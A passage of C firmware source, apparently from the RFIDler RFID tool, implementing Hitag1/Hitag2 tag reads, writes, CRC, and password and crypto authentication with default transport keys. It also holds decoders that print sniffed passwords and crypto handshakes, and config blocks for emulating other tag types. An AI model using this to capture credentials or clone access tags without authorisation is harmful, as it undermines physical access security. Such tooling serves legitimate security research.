RFIDlerConfig.RWD_Sleep_Period, RFIDlerConfig.RWD_Wake_Period, RFIDlerConfig.RWD_Zero_Period, RFIDlerConfig.RWD_One_Period, RFIDlerConfig.RWD_Gap_Period, RFIDlerConfig.RWD_Wait_Switch_TX_RX);\n     // get tag id in anti-collision mode (proprietary data format, so switch off manchester and read at double the data rate, for 4 x the data bits)\n    RFIDlerConfig.Manchester= FALSE;\n    if(read_ask_data(RFIDlerConfig.FrameClock, RFIDlerConfig.DataRate / 2, tmp, RFIDlerConfig.DataBits * 4, RFIDlerConfig.Sync, RFIDlerConfig.SyncBits, RFIDlerConfig.Timeout, ONESHOT_READ, BINARY) == RFIDlerConfig.DataBits * 4)\n    {\n        if (hitag_ac_to_bin(tmp, tmp, 132))\n        {\n            // check sync bit\n            if(tmp[0] != 0x01)\n               return FALSE;\n            binarraytohex(response, tmp + 1, 32);\n            RFIDlerConfig.Manchester= TRUE;\n            // delay for RX->TX period\n            Delay_us((RFIDlerConfig.FrameClock * RFIDlerConfig.RWD_Wait_Switch_RX_TX) / 100);\n            return TRUE;\n        }\n    }\n    RFIDlerConfig.Manchester= TRUE;\n    \n    return FALSE;\n}\n\n// return interpreted UID\nBOOL hitag1_hex_to_uid(BYTE *response, BYTE *hex)\n{\n    strcpy(response, hex);\n    return TRUE;\n}\n\n// select HITAG1 for read/write operations - return config page\nBOOL hitag1_select(BYTE *response, BYTE *uid)\n{\n    BYTE command[38], tmp1[33]; // command: 5 bit command + 32 bit uid + NULL\n\n    strcpy(command, HITAG1_SELECT);\n    if(!hextobinstring(command + 5, uid))\n        return FALSE;\n\n    // send command and get back 1 sync bit + 32 bit configpage\n    if(!hitag1_send_command(tmp1, command, NO_RESET, NO_SYNC, 33, NO_ACK))\n        return FALSE;\n\n    // check sync bit\n    if(tmp1[0] == 0x01)\n    {\n        binarraytohex(response, tmp1 + 1, 32);\n        return TRUE;\n    }\n    return FALSE;\n}\n\n// read page - 32 bits\n// pages 2 - 15 are probably not readable!\nBOOL hitag1_read_page(BYTE *response, BYTE block)\n{\n    BYTE tmp[HITAG1_BLOCKSIZE + 6]; // 32 bits plus 6 sync bits\n\n    if(block > HITAG1_DATABLOCKS - 1)\n        return FALSE;\n\n    // get tag's UID for select command\n    if(!hitag1_get_uid(tmp))\n        return FALSE;\n\n    // select for read/write\n    hitag1_select(tmp, tmp);\n\n    // create 12 bit command block: HITAG1_RDPPAGE + 8 bits address\n    strcpy(tmp, HITAG1_RDPPAGE);\n    inttobinstring(tmp + 4, (unsigned int) block, 8);\n    tmp[12]= '\\0';\n\n    // ??? docs say 6 sync bits!\n    if(!hitag1_send_command(tmp, tmp, NO_RESET, NO_SYNC, HITAG1_BLOCKSIZE + 1, NO_ACK))\n        return FALSE;\n\n    // check sync\n    if(tmp[0] != 0x01)\n        return FALSE;\n    \n    binarraytohex(response, tmp + 1, HITAG1_BLOCKSIZE);\n\n    return TRUE;\n}\n\n\nBOOL hitag1_write_page(BYTE block, BYTE *data)\n{\n    BYTE crc, command[21], tmp[33], tmp1[4];\n\n    if(block > HITAG1_DATABLOCKS - 1)\n        return FALSE;\n\n    // get tag's UID for select command\n    if(!hitag1_get_uid(tmp))\n        return FALSE;\n\n    // select for read/write\n    hitag1_select(tmp, tmp);\n\n    // convert data to binstring for send\n    if(hextobinstring(tmp, data) != 32)\n        return FALSE;\n\n    // create and send 12 bit command block: HITAG1_WRPPAGE (4 bits) + 8 bit address\n    memcpy(command, HITAG1_WRPPAGE, 4);\n    inttobinstring(command + 4, (unsigned int) block, 8);\n    command[12]= '\\0';\n    if(!hitag1_send_command(tmp1, command, NO_RESET, NO_SYNC, 0, ACK))\n        return FALSE;\n\n    // delay to switch back to write mode\n    Delay_us((RFIDlerConfig.RWD_Wait_Switch_RX_TX * RFIDlerConfig.FrameClock) / 100);\n\n    // now send data\n    if(!hitag1_send_command(tmp1, tmp, NO_RESET, NO_SYNC, 0, ACK))\n        return FALSE;\n\n    // read back and verify\n    // delay for long enough to allow write plus RX->TX period\n    Delay_us((HITAG1_WRITE_DELAY * RFIDlerConfig.FrameClock + RFIDlerConfig.RWD_Wait_Switch_RX_TX * RFIDlerConfig.FrameClock) / 100);\n    if(!hitag1_read_page(tmp, block))\n        return FALSE;\n\n    if(memcmp(tmp, data, 8) != 0)\n        return FALSE;\n\n    return TRUE;\n}\n\n// calcuate CRC & send command - response in binarray\nBOOL hitag1_send_command(BYTE *response, BYTE *command, BOOL reset, BOOL sync, BYTE response_length, BOOL ack)\n{\n    BYTE crc= HITAG1_CRC_PRESET, tmp[HITAG1_MAX_COMMAND_LEN], length; // supplied command is 4 bits + 8 bit address. we add 8 bit CRC\n    \n    // calculate crc\n    length= binstringtobinarray(tmp, command);\n    hitag1_binarray_crc(&crc, tmp, length);\n\n    // add 8 bit crc to command\n    inttobinarray(tmp + length, (unsigned int) crc, 8);\n    length += 8;\n\n    // send command - first gap is GAP, not SLEEP\n    if(!rwd_send(tmp, length, reset, BLOCK, RWD_STATE_START_SEND, RFIDlerConfig.FrameClock, RFIDlerConfig.RWD_Gap_Period, RFIDlerConfig.RWD_Wake_Period, RFIDlerConfig.RWD_Zero_Period, RFIDlerConfig.RWD_One_Period, RFIDlerConfig.RWD_Gap_Period, RFIDlerConfig.RWD_Wait_Switch_TX_RX))\n        return FALSE;\n\n    // get/check 3 bit ACK if required\n    if(ack)\n    {\n        // sync manchester\n        HW_Skip_Bits= 1;\n        if(read_ask_data(RFIDlerConfig.FrameClock, RFIDlerConfig.DataRate, tmp, 3, RFIDlerConfig.Sync, RFIDlerConfig.SyncBits, RFIDlerConfig.Timeout, ONESHOT_READ, BINARY) == 3)\n        {\n            if (memcmp(tmp, Hitag1ACK , 3) != 0)\n                return FALSE;\n        }\n        else\n            return FALSE;\n    }\n\n    if(!response_length)\n        return TRUE;\n\n    // read response as binary data\n    \n    // sync manchester\n    HW_Skip_Bits= 1;\n    if(read_ask_data(RFIDlerConfig.FrameClock, RFIDlerConfig.DataRate, response, response_length, RFIDlerConfig.Sync, sync ? RFIDlerConfig.SyncBits : 0, RFIDlerConfig.Timeout, ONESHOT_READ, BINARY) == response_length)\n    {\n        // delay for RX->TX time\n        Delay_us((RFIDlerConfig.FrameClock * RFIDlerConfig.RWD_Wait_Switch_RX_TX) / 100);\n        return TRUE;\n    }\n\n    return FALSE;\n}\n\n// update hitag1 crc for arbitrary binarray length\nvoid hitag1_binarray_crc(BYTE *crc, BYTE *bin, BYTE length)\n{\n    BYTE i;\n\n    for(i= 0 ; i < length ; i += 8)\n        if(length - i < 8)\n            hitag1_crc(crc, (BYTE) binarraytoint(bin + i, length - i) << 8 - (length - i), length - i);\n        else\n           hitag1_crc(crc, (BYTE) binarraytoint(bin + i, 8), 8);\n}\n\n// update hitag1 crc from a single byte, limit to specified number of bits\nvoid hitag1_crc(BYTE *crc, BYTE data, BYTE bits)\n{\n    *crc ^= data;\n\n    while(bits--)\n    {\n        if( *crc & 0x80 )\n        {\n            *crc <<= 1;\n            *crc ^= HITAG1_CRC_POLYNOM;\n        }\n        else\n            *crc <<= 1;\n    }\n}\n\n// decode externally sniffed PWM\nBOOL hitag1_decode_pwm(unsigned int pulses[], unsigned int gaps[], unsigned int count)\n{\n    unsigned int    i, j;\n    BOOL            decoded= FALSE;\n    BYTE            out[46], tmp[9], x; // max command from hitag1 is 5 bit command plus 32 bits + 8 bit crc == 45\n    \n    j= 0;\n    while(j < count)\n    {\n        i= generic_decode_pwm(out, &pulses[j], 10, 256, &gaps[j], 10, 80, count - j);\n        if(i)\n        {\n            // there are only 5 message sizes, so decode accordingly\n            switch(strlen(out))\n            {\n                // halt\n                case 4:\n                    if(memcmp(out, HITAG1_HALT, 4) == 0)\n                        UserMessage(\"\\r\\n%s, HALT\", out);\n                    else\n                        UserMessage(\"\\r\\n%s, ?INVALID?\", out); \n                    break;\n                     \n                // get UID\n                case 5:\n                    if(memcmp(out, HITAG1_SET_CC, 5) == 0)\n                        UserMessage(\"\\r\\n%s, SET_CC\", out);\n                        else\n                            UserMessage(\"\\r\\n%s, ?INVALID?\", out); \n                    break;\n                    \n               // read/write\n                case 20:\n                    if(memcmp(out, HITAG1_RDPPAGE, 4) == 0)\n                        UserMessage(\"\\r\\n%s, READ_PLAINTEXT_PAGE:\", out);\n                        else\n                            if(memcmp(out, HITAG1_WRPPAGE, 4) == 0)\n                                UserMessage(\"\\r\\n%s, WRITE_PLAINTEXT_PAGE:\", out);\n                            else\n                            {\n                            UserMessage(\"\\r\\n%s, ?INVALID?\", out);\n                            break;\n                            }\n                    out[20]= '\\0';\n                    binstringtohex(tmp, out + 4);\n                    // page\n                    UserMessage(\"%.2s:\", tmp);\n                    // crc\n                    UserMessage(\"%s\", tmp + 2);\n                    break;\n                    \n                // data\n                case 40:\n                    UserMessage(\"\\r\\n%s, DATA:\", out);\n                    out[40]= '\\0';\n                    binstringtohex(tmp, out);\n                    // DATA\n                    UserMessage(\"%.8s:\", tmp);\n                    // CRC\n                    UserMessage(\"%s\", tmp + 8);\n                    break;\n                    \n                // select\n                case 45:\n                    if(memcmp(out, HITAG1_SELECT, 5) == 0)\n                    {\n                        UserMessage(\"\\r\\n%s, SELECT:\", out);\n                        out[45]= '\\0';\n                        binstringtohex(tmp, out + 5);\n                        // UID\n                        UserMessage(\"%.8s:\", tmp);\n                        // CRC\n                        UserMessage(\"%s\", tmp + 8);\n                    }\n                    else\n                        UserMessage(\"\\r\\n%s, ?INVALID?\", out);\n                    break;\n \n                default:\n                    UserMessage(\"\\r\\n%s,?INVALID?\", out);\n            }\n            decoded= TRUE;\n            j += i;\n        }\n        else\n            break;\n    }\n    \n    UserMessage(\"%s\", \"\\r\\n\");\n    \n    return decoded;\n}\n\n// hitag2 \n\nBOOL hitag2_get_uid(BYTE *response)\n{\n    BYTE tmp[37];\n\n    // START_AUTH kills active crypto session\n    CryptoActive= FALSE;\n\n    if(!rwd_send(HITAG2_START_AUTH, strlen(HITAG2_START_AUTH), RESET, BLOCK, RWD_STATE_START_SEND, RFIDlerConfig.FrameClock, RFIDlerConfig.RWD_Sleep_Period, RFIDlerConfig.RWD_Wake_Period, RFIDlerConfig.RWD_Zero_Period, RFIDlerConfig.RWD_One_Period, RFIDlerConfig.RWD_Gap_Period, RFIDlerConfig.RWD_Wait_Switch_TX_RX))\n        return FALSE;\n    \n    // skip 1/2 bit to synchronise manchester\n    HW_Skip_Bits= 1;\n    if(read_ask_data(RFIDlerConfig.FrameClock, RFIDlerConfig.DataRate, tmp, RFIDlerConfig.DataBits, RFIDlerConfig.Sync, RFIDlerConfig.SyncBits, RFIDlerConfig.Timeout, ONESHOT_READ, BINARY) == RFIDlerConfig.DataBits)\n    {\n        // check sync bits\n        if (memcmp(tmp, Hitag2Sync, 5) != 0)\n            return FALSE;\n        binarraytohex(response, tmp + 5, 32);\n        return TRUE;\n    }\n    return FALSE;\n}\n\n// return interpreted UID\nBOOL hitag2_hex_to_uid(BYTE *response, BYTE *hex)\n{\n    strcpy(response, hex);\n    return TRUE;\n}\n\n// auth in password mode\nBOOL hitag2_pwd_auth(BYTE *response, BYTE *pwd)\n{\n    BYTE tmp[37];\n\n    // restart the tag\n    if(!hitag2_get_uid(tmp))\n        return FALSE;\n\n    if(strlen(pwd) == 0)\n        pwd= HITAG2_PWD_DEFAULT;\n\n    // use default transport key if none specified\n    if(!hextobinstring(tmp, pwd))\n        return FALSE;\n\n    // wait for RX->TX period, then send 32 bit PWD\n    if(!rwd_send(tmp, strlen(tmp), NO_RESET, BLOCK, RWD_STATE_WAKING, RFIDlerConfig.FrameClock, 0, RFIDlerConfig.RWD_Wait_Switch_RX_TX, RFIDlerConfig.RWD_Zero_Period, RFIDlerConfig.RWD_One_Period, RFIDlerConfig.RWD_Gap_Period, RFIDlerConfig.RWD_Wait_Switch_TX_RX))\n        return FALSE;\n    \n    // skip 1/2 bit to synchronise manchester\n    HW_Skip_Bits= 1;\n    // get 37 bit response: sync + config byte + 24 bit TAG pwd\n    if(read_ask_data(RFIDlerConfig.FrameClock, RFIDlerConfig.DataRate, tmp, 37, RFIDlerConfig.Sync, RFIDlerConfig.SyncBits, RFIDlerConfig.Timeout, ONESHOT_READ, BINARY) == 37)\n    {\n        // check sync bits\n        if (memcmp(tmp, Hitag2Sync, 5) != 0)\n            return FALSE;\n        binarraytohex(response, tmp + 5, 32);\n        return TRUE;\n    }\n    return FALSE;\n}\n\n// note that PRN is not created with security in mind - just using a simple seed\nBOOL hitag2_crypto_auth(BYTE *response, BYTE *hexkey)\n{\n    BYTE tmp[65], tmphex[9];\n    unsigned long long key;\n    unsigned long uid;\n    unsigned long initvec;\n\n    // use default transport key if none specified\n    if(strlen(hexkey) == 0)\n        hexkey= HITAG2_KEY_DEFAULT;\n\n    // get UID for initialisation\n    if(!hitag2_get_uid(tmp))\n        return FALSE;\n    \n    // convert to numerics for crypto routines\n    uid= hexreversetoulong(tmp);\n    key= hexreversetoulonglong(hexkey);\n\n    // generate 32 bit PRN for challenge \n    // seed random number generator\n    // done here to try to add a bit more randomness by using LED count which is updated\n    // by the main loop\n    //srand((int) (Led_Count / 2));\n    initvec= rand();\n    initvec <<= 16;\n    initvec += rand();\n    \n    // prepare to send IV in the clear to tag\n    ulongtobinstring(tmp, initvec, 32);\n\n    // convert IV to MSB for crypto routines\n    binstringtohex(tmphex, tmp);\n    initvec= hexreversetoulong(tmphex);\n\n    // initialise  crypto\n    hitag2_init(&Hitag_Crypto_State, rev64(key), rev32(uid), rev32(initvec));\n\n    // send inverse of 1st 32bits of keystream to tag for authentication\n    ulongtobinstring(tmp + 32, hitag2_crypt(0xFFFFFFFF, 32), 32);\n\n    // restart the tag & auth process\n    if(!hitag2_get_uid(TmpBuff))\n        return FALSE;\n\n    // wait for RX->TX period, then send PRN+secret\n    if(!rwd_send(tmp, strlen(tmp), NO_RESET, BLOCK, RWD_STATE_WAKING, RFIDlerConfig.FrameClock, 0, RFIDlerConfig.RWD_Wait_Switch_RX_TX, RFIDlerConfig.RWD_Zero_Period, RFIDlerConfig.RWD_One_Period, RFIDlerConfig.RWD_Gap_Period, RFIDlerConfig.RWD_Wait_Switch_TX_RX))\n        return FALSE;\n\n    // skip 1/2 bit to synchronise manchester\n    HW_Skip_Bits= 1;\n    // get 37 bit response: sync + config byte + 24 bit TAG pwd\n    if(read_ask_data(RFIDlerConfig.FrameClock, RFIDlerConfig.DataRate, tmp, 37, RFIDlerConfig.Sync, RFIDlerConfig.SyncBits, RFIDlerConfig.Timeout, ONESHOT_READ, BINARY) == 37)\n    {\n        // check sync bits\n        if (memcmp(tmp, Hitag2Sync, 5) != 0)\n            return FALSE;\n        CryptoActive= TRUE;\n\n        // decrypt\n        binarraytohex(response, tmp + 5, 32);\n        return hitag2_hex_crypt(response, response);\n    }\n    return FALSE;\n}\n\nBOOL hitag2_read_page(BYTE *response, BYTE block)\n{\n    BYTE tmp[37];\n\n    if(block > HITAG2_DATABLOCKS - 1)\n        return FALSE;\n\n    // create 10 bit command block: HITAG2_READ_PAGE + 3 bits address + invert(HITAG2_READ_PAGE + 3 bits address)\n    memcpy(tmp, HITAG2_READ_PAGE, 2);\n    inttobinstring(tmp + 2, (unsigned int) block, 3);\n    invertbinstring(tmp + 5, tmp);\n    tmp[10]= '\\0';\n\n    // encrypt command if in crypto mode\n    if(CryptoActive)\n        hitag2_binstring_crypt(tmp, tmp);\n\n    // send with RX->TX delay and no reset\n    if(!rwd_send(tmp, strlen(tmp), NO_RESET, BLOCK, RWD_STATE_WAKING, RFIDlerConfig.FrameClock, 0, RFIDlerConfig.RWD_Wait_Switch_RX_TX, RFIDlerConfig.RWD_Zero_Period, RFIDlerConfig.RWD_One_Period, RFIDlerConfig.RWD_Gap_Period, RFIDlerConfig.RWD_Wait_Switch_TX_RX))\n        return FALSE;\n\n    // skip 1/2 bit to synchronise manchester\n    HW_Skip_Bits= 1;\n    if(read_ask_data(RFIDlerConfig.FrameClock, RFIDlerConfig.DataRate, tmp, 37, RFIDlerConfig.Sync, RFIDlerConfig.SyncBits, RFIDlerConfig.Timeout, ONESHOT_READ, BINARY) == 37)\n    {\n        // check sync bits\n        if (memcmp(tmp, Hitag2Sync, 5) != 0)\n            return FALSE;\n        binarraytohex(response, tmp + 5, 32);\n\n        // decrypt\n        if(CryptoActive)\n            return hitag2_hex_crypt(response, response);\n\n        return TRUE;\n    }\n    return FALSE;\n}\n\nBOOL hitag2_write_page(BYTE block, BYTE *data)\n{\n    BYTE command[11], tmp[37], tmp1[37], tmp2[37], tmphex[9];\n\n    if(block > HITAG2_DATABLOCKS - 1)\n        return FALSE;\n\n    // create 10 bit command block: HITAG2_WRIE_PAGE + 3 bits address + invert(HITAG2_WRITE_PAGE + 3 bits address)\n    memcpy(command, HITAG2_WRITE_PAGE, 2);\n    inttobinstring(command + 2, (unsigned int) block, 3);\n    invertbinstring(command + 5, command);\n    command[10]= '\\0';\n\n    // encrypt command if in crypto mode\n    if(CryptoActive)\n        hitag2_binstring_crypt(tmp, command);\n    else\n        memcpy(tmp, command, 11);\n\n    // convert data to binstring for send\n    if(hextobinstring(tmp1, data) != 32)\n        return FALSE;\n\n    // send command with RX->TX delay and no reset\n    if(!rwd_send(tmp, strlen(tmp), NO_RESET, BLOCK, RWD_STATE_WAKING, RFIDlerConfig.FrameClock, 0, RFIDlerConfig.RWD_Wait_Switch_RX_TX, RFIDlerConfig.RWD_Zero_Period, RFIDlerConfig.RWD_One_Period, RFIDlerConfig.RWD_Gap_Period, RFIDlerConfig.RWD_Wait_Switch_TX_RX))\n        return FALSE;\n\n    // skip 1/2 bit to synchronise manchester\n    HW_Skip_Bits= 1;\n    // get ACK - 10 bytes + sync\n    if(read_ask_data(RFIDlerConfig.FrameClock, RFIDlerConfig.DataRate, tmp2, 15, RFIDlerConfig.Sync, RFIDlerConfig.SyncBits, RFIDlerConfig.Timeout, ONESHOT_READ, BINARY) == 15)\n    {\n        // check sync bits\n        if (memcmp(tmp2, Hitag2Sync, 5) != 0)\n            return FALSE;\n\n        // decrypt\n        if(CryptoActive)\n            hitag2_binarray_crypt(tmp2 + 5, tmp2 + 5, 10);\n\n        // check ACK - should be our original command echo'd back\n        binarraytobinstring(tmp2 + 5, tmp2 + 5, 10);\n        if(memcmp(command, tmp2 + 5, 10) != 0)\n            return FALSE;\n    }\n\n    // encrypt data if in crypto mode\n    if(CryptoActive)\n        hitag2_binstring_crypt(tmp1, tmp1);\n\n    // send data with RX->TX delay and no reset\n    if(!rwd_send(tmp1, strlen(tmp1), NO_RESET, BLOCK, RWD_STATE_WAKING, RFIDlerConfig.FrameClock, 0, RFIDlerConfig.RWD_Wait_Switch_RX_TX, RFIDlerConfig.RWD_Zero_Period, RFIDlerConfig.RWD_One_Period, RFIDlerConfig.RWD_Gap_Period, RFIDlerConfig.RWD_Wait_Switch_TX_RX))\n        return FALSE;\n\n    // no ack, so read back and verify\n    // delay for long enough to allow write plus RX->TX period\n    Delay_us((HITAG2_WRITE_DELAY * RFIDlerConfig.FrameClock + RFIDlerConfig.RWD_Wait_Switch_RX_TX * RFIDlerConfig.FrameClock) / 100);\n    if(!hitag2_read_page(tmp, block))\n        return FALSE;\n    if(memcmp(tmp, data, 8) != 0)\n        return FALSE;\n\n    return TRUE;\n}\n\n// attempt to find ideal parameters for GAP, ZERO and ONE periods.\n// ranges specified in FC\nvoid hitag2_test_rwd(unsigned int gapmin, unsigned int gapmax, unsigned int zeromin, unsigned int zeromax, unsigned int onemin, unsigned int onemax, BYTE *pass)\n{\n    BYTE i, imax, countu, counta, countr;\n    unsigned int gap, zero, one, fc;\n\n    imax= 5;\n\n    for(fc= 800 ; fc <= 809 ; ++fc)\n    {\n        for(gap= gapmin ; gap <= gapmax ; ++gap)\n            for(zero= zeromin ; zero <= zeromax ; ++zero)\n                for(one= onemin ; one <= onemax ; ++one)\n                {\n                    RFIDlerConfig.FrameClock= (unsigned long) fc;\n                    RFIDlerConfig.RWD_Gap_Period= gap;\n                    RFIDlerConfig.RWD_Zero_Period= zero;\n                    RFIDlerConfig.RWD_One_Period= one;\n                    UserMessageNum(\"\\rGap %d\", gap);\n                    UserMessageNum(\" Zero %d\", zero);\n                    UserMessageNum(\" One %d\", one);\n                    UserMessageNum(\" FC %d\", fc);\n                    for(i= countu= counta= countr= 0 ; i < imax ; ++i)\n                    {\n                        if(get_user_abort())\n                            return;\n                        if(hitag2_get_uid(DataBuff))\n                        {\n                            ++countu;\n                            if(hitag2_pwd_auth(DataBuff, pass) || hitag2_crypto_auth(DataBuff, pass))\n                            {\n                                ++counta;\n                                if(hitag2_read_page(DataBuff, 0))\n                                    ++countr;\n                            }\n                        }\n                    }\n                    if(countu == imax && counta == imax && countr == imax)\n                    {\n                        UserMessageNum(\" - got %d\", countu);\n                        UserMessageNum(\" uids, %d\", counta);\n                        UserMessageNum(\" auths %d\", countr);\n                        UserMessageNum(\" reads, out of %d attempts.\\r\\n\", imax);\n                    }\n                }\n        UserMessage(\"%s\", \"\\r\\n\");\n    }\n}\n\n// decrypt hex - safe to do in place\nBOOL hitag2_hex_crypt(BYTE *target, BYTE *source)\n{\n    BYTE cryptogram, tmp[3];\n    unsigned int length;\n\n    length= strlen(source);\n\n    while(length)\n    {\n        if(sscanf(source, \"%2X\", &cryptogram) != 1)\n            return FALSE;\n        sprintf(tmp, \"%02X\", hitag2_crypt(cryptogram, 8));\n        memcpy(target, tmp, 2);\n        source += 2;\n        target += 2;\n        length -= 2;\n    }\n    return TRUE;\n}\n\n// encrypt a binstring - safe to do in place\nvoid hitag2_binstring_crypt(BYTE *target, BYTE *source)\n{\n    BYTE cryptogram;\n    unsigned int length;\n\n    length= strlen(source);\n    while(length)\n    {\n        cryptogram= *(source++) - '0';\n        *(target++)= (BYTE) hitag2_crypt(cryptogram, 1) + '0';\n        --length;\n    }\n    *target= '\\0';\n}\n\n// encrypt a binarray - safe to do in place\nvoid hitag2_binarray_crypt(BYTE *target, BYTE *source, unsigned int length)\n{\n    while(length)\n    {\n        *(target++)= (BYTE) hitag2_crypt(*(source++), 1);\n        --length;\n    }\n}\n\n// crypt with current keystream, length in bits\nunsigned long hitag2_crypt(unsigned long source, BYTE length)\n{\n    return source ^ hitag2_nstep(&Hitag_Crypto_State, length);\n}\n\n// convert hitag 'anticollision mode' data to standard binary\n// safe to do in-place as target is shorter\nunsigned int hitag_ac_to_bin(BYTE *target, BYTE *source, unsigned int length)\n{\n    unsigned int i;\n    BYTE zero[]= {1,1,0,0};\n    BYTE one[]= {1,0,1,0};\n\n    for(i= 0 ; i < length ; i += 4, source, ++target)\n    {\n        if(memcmp(source + i, one, 4) == 0)\n            *target= 0x01;\n        else\n            if(memcmp(source + i, zero, 4) == 0)\n                *target= 0x00;\n            else\n                return 0;\n    }\n    return HEXDIGITS(length);\n}\n\n// set a config block suitable for emulating\nBOOL hitag2_emulate_config_block(BYTE *config, BYTE target_tagtype)\n{\n    switch (target_tagtype)\n    {\n        case TAG_TYPE_FDXB:\n            memcpy(config, HITAG2_FDXB_CONFIG_BLOCK, HEXDIGITS(HITAG2_BLOCKSIZE));\n            return TRUE;\n\n        case TAG_TYPE_EM4X02:\n        case TAG_TYPE_Q5:\n        case TAG_TYPE_UNIQUE:\n            memcpy(config, HITAG2_UNIQUE_CONFIG_BLOCK, HEXDIGITS(HITAG2_BLOCKSIZE));\n            return TRUE;\n\n        case TAG_TYPE_HITAG2:\n            memcpy(config, HITAG2_DEFAULT_CONFIG_BLOCK, HEXDIGITS(HITAG2_BLOCKSIZE));\n            return TRUE;\n\n        default:\n            return FALSE;\n    }\n}\n\n// decode externally sniffed PWM\nBOOL hitag2_decode_pwm(unsigned int pulses[], unsigned int gaps[], unsigned int count)\n{\n    unsigned int    i, j;\n    BOOL            decoded= FALSE, encrypted= FALSE, auth= FALSE;\n    BYTE            out[65], tmp[33], x; // max response from hitag2 is 64 bits\n    \n    j= 0;\n    while(j < count)\n    {\n        i= generic_decode_pwm(out, &pulses[j], 10, 256, &gaps[j], 10, 80, count - j);\n        if(i)\n        {\n            // there are only 4 message sizes, so decode accordingly\n            switch(strlen(out))\n            {\n                // start_auth\n                case 5:\n                    auth= FALSE;\n                    if(memcmp(out, HITAG2_START_AUTH, 5) == 0)\n                    {\n                        UserMessage(\"\\r\\n%s, START_AUTH\", out);\n                        auth= TRUE;\n                    }\n                    else\n                        UserMessage(\"\\r\\n%s, ?INVALID?\", out); \n                    encrypted= FALSE; \n                    break;\n                    \n                // read/write/halt\n                case 10:\n                    auth= FALSE;\n                    if(encrypted)\n                    {\n                        UserMessage(\"\\r\\n%s, CMD_ENCRYPTED\", out);\n                        break;\n                    }\n                    if(memcmp(out, HITAG2_HALT, 2) == 0)\n                    {\n                        UserMessage(\"\\r\\n%s, HALT\", out);\n                        break;\n                    }\n                    if(memcmp(out, HITAG2_READ_PAGE, 2) == 0)\n                        UserMessage(\"\\r\\n%s, READ_PAGE:\", out);\n                    if(memcmp(out, HITAG2_READ_PAGE_INVERTED, 2) == 0)\n                        UserMessage(\"\\r\\n%s, READ_PAGE_INVERTED:\", out);\n                    if(memcmp(out, HITAG2_WRITE_PAGE, 2) == 0)\n                        UserMessage(\"\\r\\n%s, WRITE_PAGE:\", out);\n                    binstringtobyte(&x, &out[2], 3);\n                    UserMessageNum(\"%d\", x);\n                    break;\n                \n                // password or data\n                case 32:\n                    if(auth)\n                        UserMessage(\"\\r\\n%s, PWD:\", out);\n                    else\n                        UserMessage(\"\\r\\n%s, DATA:\", out);\n                    binstringtohex(out, out);\n                    UserMessage(\"%s\", out);\n                    auth= FALSE;\n                    break;\n                 \n                // crypto handshake\n                case 64:\n                    if (Sniffstore)\n                    {\n                        store_pwm(out);\n                    }\n                    UserMessage(\"\\r\\n%s, PRN:\", out);\n                    memcpy(tmp, out, 32);\n                    tmp[32]= '\\0';\n                    binstringtohex(out, tmp);\n                    UserMessage(\"%s: SECRET:\", out);\n                    binstringtohex(out, out + 32);\n                    UserMessage(\"%s\", out);\n                    encrypted= TRUE;\n                    auth= FALSE;\n                    break;\n                    \n                default:\n                    UserMessage(\"\\r\\n%s,?INVALID?\", out);\n            }\n            decoded= TRUE;\n            j += i;\n        }\n        else\n            break;\n    }\n    \n    UserMessage(\"%s\", \"\\r\\n\");\n    \n    return decoded;\n}\n\nBOOL hitag2_config_block_show(BYTE *config, BYTE *password, BYTE *key)\n{\n    BYTE    value= hextobyte(config); // first byte only used as config\n\n    UserMessage(\"     PWD Block (1): %.8s    \", password);\n    printhexreadable(password, 4);\n    \n    UserMessage(\"\\r\\n\\r\\n     Key Block (2): %.8s    \", key);\n    printhexreadable(key, 4);\n    \n    UserMessage(\"\\r\\n\\r\\n  Config Block (3): %.8s\\r\\n\\r\\n\", config);\n    UserMessageNum(\"        Page 1 & 2: %d = \", GET_CONFIG(value, HITAG2_MASK_PAGE_1_2_OTP_PROTECT, HITAG2_SHIFT_PAGE_1_2_OTP_PROTECT));\n    if(GET_CONFIG(value, HITAG2_MASK_SECURITY, HITAG2_SHIFT_SECURITY))\n        UserMessage(\"%s\\r\\n\", GET_CONFIG(value, HITAG2_MASK_PAGE_1_2_OTP_PROTECT, HITAG2_SHIFT_PAGE_1_2_OTP_PROTECT) ? \"No Read / No Write\" : \"Read / Write\");\n    else\n        UserMessage(\"%s\\r\\n\", GET_CONFIG(value, HITAG2_MASK_PAGE_1_2_OTP_PROTECT, HITAG2_SHIFT_PAGE_1_2_OTP_PROTECT) ? \"Page 1: No Read / No Write, Page 2: Read Only\" : \"Read / Write\");\n    UserMessageNum(\"            Page 3: %d = \", GET_CONFIG(value, HITAG2_MASK_PAGE_3_OTP_PROTECT, HITAG2_SHIFT_PAGE_3_OTP_PROTECT));\n    UserMessage(\"%s\\r\\n\", GET_CONFIG(value, HITAG2_MASK_PAGE_3_OTP_PROTECT, HITAG2_SHIFT_PAGE_3_OTP_PROTECT) ? \"Read Only\" : \"Read / Write\");\n    UserMessageNum(\"        Page 4 & 5: %d = \", GET_CONFIG(value, HITAG2_MASK_PAGE_4_5_PROTECT, HITAG2_SHIFT_PAGE_4_5_PROTECT));\n    UserMessage(\"%s\\r\\n\", GET_CONFIG(value, HITAG2_MASK_PAGE_4_5_PROTECT, HITAG2_SHIFT_PAGE_4_5_PROTECT) ? \"Read Only\" : \"Read / Write\");\n    UserMessageNum(\"        Page 6 & 7: %d = \", GET_CONFIG(value, HITAG2_MASK_PAGE_6_7_PROTECT, HITAG2_SHIFT_PAGE_6_7_PROTECT));\n    UserMessage(\"%s\\r\\n\", GET_CONFIG(value, HITAG2_MASK_PAGE_6_7_PROTECT, HITAG2_SHIFT_PAGE_6_7_PROTECT) ? \"Read Only\" : \"Read / Write\");\n    UserMessageNum(\"          Security: %d = \", GET_CONFIG(value, HITAG2_MASK_SECURITY, HITAG2_SHIFT_SECURITY));\n    UserMessage(\"%s\\r\\n\", GET_CONFIG(value, HITAG2_MASK_SECURITY, HITAG2_SHIFT_SECURITY) ? \"Crypto\" : \"Password\");\n    UserMessageNum(\"              Mode: %d = \", GET_CONFIG(value, HITAG2_MASK_MODE, HITAG2_SHIFT_MODE));\n    UserMessage(\"%s\\r\\n\", (BYTE *) Hitag2_Modes[GET_CONFIG(value, HITAG2_MASK_MODE, HITAG2_SHIFT_MODE)]);\n    UserMessageNum(\"        Modulation: %d = \", GET_CONFIG(value, HITAG2_MASK_MODULATION, HITAG2_SHIFT_MODULATION));\n    UserMessage(\"%s\\r\\n\", GET_CONFIG(value, HITAG2_MASK_MODULATION, HITAG2_SHIFT_MODULATION) ? \"BiPhase\" : \"Manchester\");\n\n    UserMessage(\"\\r\\n     PWD Block (3): %.6s      \", config + 2);\n    printhexreadable(config + 2, 